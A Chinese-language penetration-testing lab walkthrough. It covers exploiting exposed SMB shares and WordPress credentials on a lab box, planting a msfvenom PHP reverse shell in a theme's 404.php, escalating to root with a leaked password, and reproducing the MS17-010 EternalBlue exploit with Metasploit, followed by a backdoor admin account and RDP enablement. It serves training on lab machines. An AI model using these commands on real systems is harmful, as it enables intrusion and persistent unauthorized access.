目录
一,SMB信息泄露
靶场:192.168.11.167
攻击机:kali 192.168.11.165
信息探测:
nmap -sV 192.168.11.167
可以看到开放了,22 ssh端口,139,445的smb服务端口,以及3306的mysal服务
扫描更详细的信息:
nmap -A -v -T4 192.168.11.167
-A : 探测所有信息
-v : 把探测信息详细输出
-T4: nmap使用最大线程数
对smb协议进行漏洞分析:
针对SMB协议,使用空口令,尝试登录,并查看敏感文件,下载查看
smbclient -L 192.168.11.167
扫到三个设备,print$ 是一个打印机设备,share$ 是一个共享文件夹,IPC$是一个空链接
分别查看 这三个设备上有什么有用的信息,发现除了share$ 之外我们没有查看的权限
smbclient '\\192.168.11.167\print$'
smbclient '\\192.168.11.167\share$'
smbclient '\\192.168.11.167\IPC$'
将deets.txt 、robots.txt等文件 get下来
get deets.txt
get robots.txt
新打开一个运行窗口,查看文件的内容,在查看deets.txt文件时,发现了一个 莫名的password: 12345 先记下来
进一步查看其它文件,进入wordpress文件夹内:
把wordpress的配置文件 get下来,
get wp-config.php
在终端中打开wp-config.php文件
gedit wp-config.php
找到了 wordpress的 username 和 password ,不知道这个username和password是不是其它服务端口的登录 账号和密码
尝试一下:
mysql ,不允许远程登录
ssh:密码错误
尝试失败,
尝试一下看是否具有SMB远程溢出的漏洞:
根据刚开始扫描到的 smb的版本信息去 探测有没有远程溢出漏洞
searchsploit Samba smbd 3.X - 4.X
searchsploit Samba smbd 4.3.11-Ubunt
没有smb溢出漏洞
针对HTTP协议弱点进行分析:
使用dirb进行后台探测:
扫到了wordpress的后台管理界面
使用我们刚才在 wp-config.php中的账户和密码登录:
这里可以上传webshell 木马,进行提权
首先制作一个 webshell,这里用 kali的msfvenom 生成源代码:
这里制作了一个,反弹到 攻击机 192.168.11.165 4444端口的木马
复制源代码保存 在桌面的 webshell.php 中
启动监听
msfconsole
然后进行配置:
这里 配置了监听 192.168.11.165 的4444端口
启动:
run
然后去wordpress 的后台管理界面 apparent》edit 》404.php,上传我们刚才制作的webshell代码:
然后点击左下角的提交,
然后访问404 界面 使代码运行:
浏览器访问:http://192.168.11.167/wordpress/wp-content/themes/twentyfifteen/404.php 然后webshell就会执行
然后我们就会看到方才监听的端口开始显示了信息:
输入 shell 。id 查看当前用户的权限
优化一下 命令窗口:
python -c "import pty; pty.spawn('/bin/bash')"
看一下用户组:
看到一个 togie用户
切换到togie用户,并尝试提升为root权限:输入我们刚开始开 deets.txt 文件中获得的密码 12345,成功
至此我们已经获取了最高权限完全攻陷了该服务器
查看/root目录 看到了flag.txt文件
充电站:
1,什么是SMB?
SMB协议作为一种局域网文件共享传输协议,常被用来作为共享文件安全传输研究的平台,很流行的协议,它能使你共享文件,磁盘,目录,打印机,甚至网络端口
服务器消息块,又称网络文件共享系统,一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。它也提供经认证的行程间通信机能。它主要用在装有Microsoft Windows的机器上,在这样的机器上被称为Microsoft Windows Network。
经过Unix服务器厂商重新开发后,它可以用于连接Unix服务器和Windows客户机,执行打印和文件共享等任务
2,什么是SMB远程溢出的漏洞,怎么利用?
官方名称:MS17-010 (永恒之蓝勒索病毒)附上一篇,SMB远程溢出利用的博文:https://www.shystartree.com/2018/07/12/%E4%B8%80%E6%AC%A1SMB%E8%BF%9C%E7%A8%8B%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E7%BB%8F%E5%8E%86%EF%BC%88MS17-010%20EternalBlue%20%EF%BC%89/
MS17-010是一个很出名的漏洞,存在于win 7中 b站上有好多介绍利用视频,不再赘述
4,msfvenom是什么?
Metasploit介绍
几乎每一个玩渗透的人都会接触到Metasploit Framework,简称msf。这是一个渗透测试框架,用ruby语言写的,该框架集成了很多可用的exploit,比如著名的ms08_067等,
msfconsole
这是启动msf的终端命令,注意因为现在msf默认的数据库是postgresql,所以在启动msf之前需要先启动postgresql数据库。 在终端中输入msfconsole即可启动msf
msfvenom
在之前的msf版本中会有msfencode,msfpayload等工具,学习成本比较高,现在这些工具已经被废弃了。取而代之的是msfvenom工具,可以看做它是msfencode与msfpayload的结合版,它允许你自行生成想要的payload
二,MS17-010 (永恒之蓝) 复现
永恒之蓝漏洞刚出来的时候,当时很多人是用Shadow Brokers泄露的NSA原生攻击工具来测试,通过“ Fuzzbunch + Eternalblue 组合拳 ”,虽然可以做出getshell效果,但是整个实现过程非常麻烦,不太适合安全新手进行快速实践。
到了Kali Linux 2017.03和Kali Linux 2018版,神器Metasploit直接集成了MS17-010的渗透测试代码,针对Win7和Server2008可以实现getshell,几分钟内就可以将完成整个漏洞复现过程。
漏洞环境复现:
攻击机:kali 2019 192.168.11.165
靶机: windows 7 192.168.11.151
启动 metasploit框架,并搜寻有关 MS17-010 的相关利用模块:
msfconsole
search ms17_010
可以看到有5 个可以利用的模块
这里可以得到两个工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,exploit/windows/smb/ms17_010_eternalblue是永恒之蓝渗透代码,一般配合使用,前者先扫描,若显示有漏洞,再进行渗透。
我们先使用 1号 进行 扫描,看靶机上是否有 MS17-010漏洞
若有 ,再用 2 号模块进行攻击
使用模块
msf > use auxiliary/scanner/smb/smb_ms17_010
设置目标IP或网段
msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.11.151
执行扫描
msf auxiliary(smb_ms17_010) > run
可以看到存在 永恒之蓝漏洞 (测试过程中,Win7需关闭防火墙)
用 2 号模块进行攻击
使用模块
msf > use exploit/windows/smb/ms17_010_eternalblue
查看可设置的选项
msf exploit(ms17_010_eternalblue) > show options
设置渗透目标ip
msf exploit(ms17_010_eternalblue) > set RHOST 172.16.70.199
执行渗透
msf exploit(ms17_010_eternalblue) > exploit
然后就取得了 靶机的控制权;
(如果你的命令行中出现乱码,那是因为 win和linux的字符格式不兼容,在kali的终端上方的菜单栏中 终端》 设置字符编码》中文简体-GBK)
然后创建用户,赋予用户管理员权限,开启靶机的远程桌面功能,连接靶机桌面
创建用户名密码
blue/blue net user blue blue /add
将用户blue添加入管理组
net localgroup administrators blue /add
开启远程桌面功能
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
新开一个终端窗口:
Kali远程桌面连接Win7
rdesktop 192.168.11.151:3389